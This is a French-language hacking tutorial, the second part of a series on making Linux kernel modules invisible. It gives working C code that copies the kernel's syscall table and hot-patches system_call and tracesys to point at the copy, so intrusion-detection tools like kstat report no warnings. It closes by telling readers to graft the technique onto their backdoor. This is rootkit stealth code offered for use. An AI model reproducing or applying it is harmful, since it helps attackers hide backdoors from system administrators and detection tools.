Les LKM invisibles : Seconde Partie.

 

Intro
Nous avons appris la fois dernière comment cacher un module de la table des modules du noyau, mais il restait encore un point qui rendait notre lkm pas très discret : la table des syscalls.

La table des syscalls ?
Syscall_table est un tableau créé lors du démarage du kernel (dans linux/arch/i386/kernel/Entry.S), qui contient les adresses dans la memoire du noyau de tous les appels systemes. Sur l'architecture IA32, un appel systeme est appelé par une interruption dite "logicielle" numero 80, qui lance le gestionnaire d'appels systeme "system_call".

system_call lit la syscall_table pour trouver quel appel systeme executer, s'il en existe un.

En scannant la memoire du kernel pour rechercher l'adresse de sys_call_table, on retombe sur trois fonctions ou symboles :

c0109cbc system_call
c0109d4c tracesys
c020da20 __ksymtab_sys_call_table

Je vous passe les détails du programme, qui apres tout n'est pas tres compliqué a fabriquer.

Par petit calcul on voit que le code de system_call fait moins de 180 bytes. tracesys sert a tracer des appels systemes, et __ksymtab_sys_call_table est la table de linkage dynamique qui sert a insmod, et dans notre exemple a linker sys_call_table avec notre module en .o

L'idée du "hack" est que la plupart des IDS qui cherchent des lkm's cherchent dans la liste des appels systemes pour en trouver qui ne sont pas "reglos" avec le System.map . On va donc s'arranger pour que ces IDS cherchent au mauvais endroit.

Pour ce faire, on va creer une vraie fausse table des syscalls nommé hacked_sys_call_table[]:

void * makesyscalltable(){
          void *hacked_sys_call_table;
          hacked_sys_call_table=kmalloc(256*sizeof(long int),GFP_KERNEL);
          memcpy(hacked_sys_call_table,sys_call_table,256*sizeof(long int));
          return hacked_sys_call_table;
}

On y copie la table des syscalls originale.

Etape suivante : scanner la memoire du kernel pour trouver les fonctions a patcher. En effet, on va s'arranger pour que system_call et tracesys cherchent dans notre table modifiée, au lieu de rechercher dans la table "officielle". des 3 occurences de l'adresse de sys_call_table, juste deux doivent etre modifiées : il ne faut pas montrer au monde entier qu'on a dévié sys_call_table, en faisant une chose aussi stupide que modifier le symbole associé...

Bref : Patching a chaud de notre kernel...

int change_references(void *hacked_sys_call_table){
char *ptr;
int count=0;
for ( (int)ptr =(int) SYSTEM_CALL; ((int)ptr) <(int) (SYSTEM_CALL+200) ;
ptr++)
if( * ((int*)ptr)==(int)sys_call_table){
if (++count==3)
return 0;
(int)*((int*)ptr) =(int) hacked_sys_call_table;
}
if (count==0) { /* Warlkm or an other lkm using my t3kn1k loaded */
kfree (hacked_sys_call_table); /* free the unused array */
return -1; /* lkm installation musts abort */
}
return 0; /*if kernel non-crashed :-) */
}

On peut voir que ce code est vraiment *TRES* simple. Il vérifie si il existe des zones a modifier et s'arrange pour en modifier que deux maximum.

Et ça marche ?
Bien oui, ca marche ... Votre systeme linux utilise maintenant une table des appels systemes flambant neuve !

Que montre Kstat ?

falcon:~# kstat -s | grep W
falcon:~#

Super ! pas le moindre Warning. Pourtant, si on fait le meme test que précedement, on retombre sur les mêmes conclusions : le lkm fonctionne parfaitement.

Existe-t-il des risques pour mon systeme ?
Je ne pense pas. Le seul risque que vous encourez est que les lkm que vous insmoderez apres (et qui interceptent ou créent des syscalls) ne fonctionnent tout simplement pas. Ils seront affichés par kstat -s, mais ne fonctionneront pas vu qu'ils ne sont pas dans la vraie (la seule ?) L'unique table des syscalls, hacked_sys_call_table;

Virer mon module ? Je vous laisse la voie libre. Il suffit de faire l'opération inverse : chercher les occurences de hacked_sys_call_table dans system_call et les remplacer par l'adresse correcte.

Outroduction
Ces deux techniques réunies vous permettront de faire des lkm complètement invisibles (mais pour combien de temps ?). Il suffit de les greffer a votre backdoor ou a votre module favori, mais si vous avez compris la technique, ca ne devrait pas être dur.

 

SW